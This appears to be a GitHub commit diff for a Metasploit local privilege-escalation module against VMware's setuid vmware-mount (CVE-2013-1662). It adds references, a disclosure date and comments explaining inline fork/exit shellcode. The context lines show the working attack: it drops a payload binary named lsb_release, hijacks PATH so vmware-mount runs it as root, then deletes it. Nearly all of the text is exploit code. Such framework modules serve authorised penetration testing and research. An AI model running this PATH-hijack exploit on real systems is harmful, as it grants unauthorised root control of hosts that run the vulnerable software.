File tree Expand file tree Collapse file tree 1 file changed +18
-3
lines changed
modules/exploits/linux/local Expand file tree Collapse file tree 1 file changed +18
-3
lines changed Original file line number Diff line number Diff line change @@ -40,10 +40,16 @@ def initialize(info={})
40
40
"PrependSetresuid" => true ,
41
41
"PrependSetresgid" => true ,
42
42
} ,
43
+ 'Privileged' => true ,
43
44
'DefaultTarget' => 0 ,
44
45
'References' => [
45
- [ 'URL' , "http://blog.cmpxchg8b.com/2013/08/security-debianisms.html" ] ,
46
- ]
46
+ [ 'CVE' , '2013-1662' ] ,
47
+ [ 'OSVDB' , '96588' ] ,
48
+ [ 'BID' , '61966' ] ,
49
+ [ 'URL' , 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ] ,
50
+ [ 'URL' , 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ]
51
+ ] ,
52
+ 'DisclosureDate' => "Aug 22 2013"
47
53
}
48
54
) )
49
55
# Handled by ghetto hardcoding below.
@@ -66,14 +72,23 @@ def exploit
66
72
# Ghetto PrependFork action which is apparently only implemented for
67
73
# Meterpreter.
68
74
# XXX Put this in a mixin somewhere
75
+ # if(fork()) exit(0);
76
+ # 6A02 push byte +0x2
77
+ # 58 pop eax
78
+ # CD80 int 0x80 ; fork
79
+ # 85C0 test eax,eax
80
+ # 7406 jz 0xf
81
+ # 31C0 xor eax,eax
82
+ # B001 mov al,0x1
83
+ # CD80 int 0x80 ; exit
69
84
exe = generate_payload_exe (
70
85
:code => "\x6a \x02 \x58 \xcd \x80 \x85 \xc0 \x74 \x06 \x31 \xc0 \xb0 \x01 \xcd \x80 " + payload . encoded
71
86
)
72
87
write_file ( "lsb_release" , exe )
73
88
74
89
cmd_exec ( "chmod +x lsb_release" )
75
90
cmd_exec ( "PATH=.:$PATH /usr/bin/vmware-mount" )
76
- cmd_exec ( "rm -f lsb_release" )
91
+ cmd_exec ( "rm -f lsb_release" ) # using it over FileDropper because the original session can clean it up
77
92
end
78
93
79
94
def setuid? ( remote_file )
You can’t perform that action at this time.
0 commit comments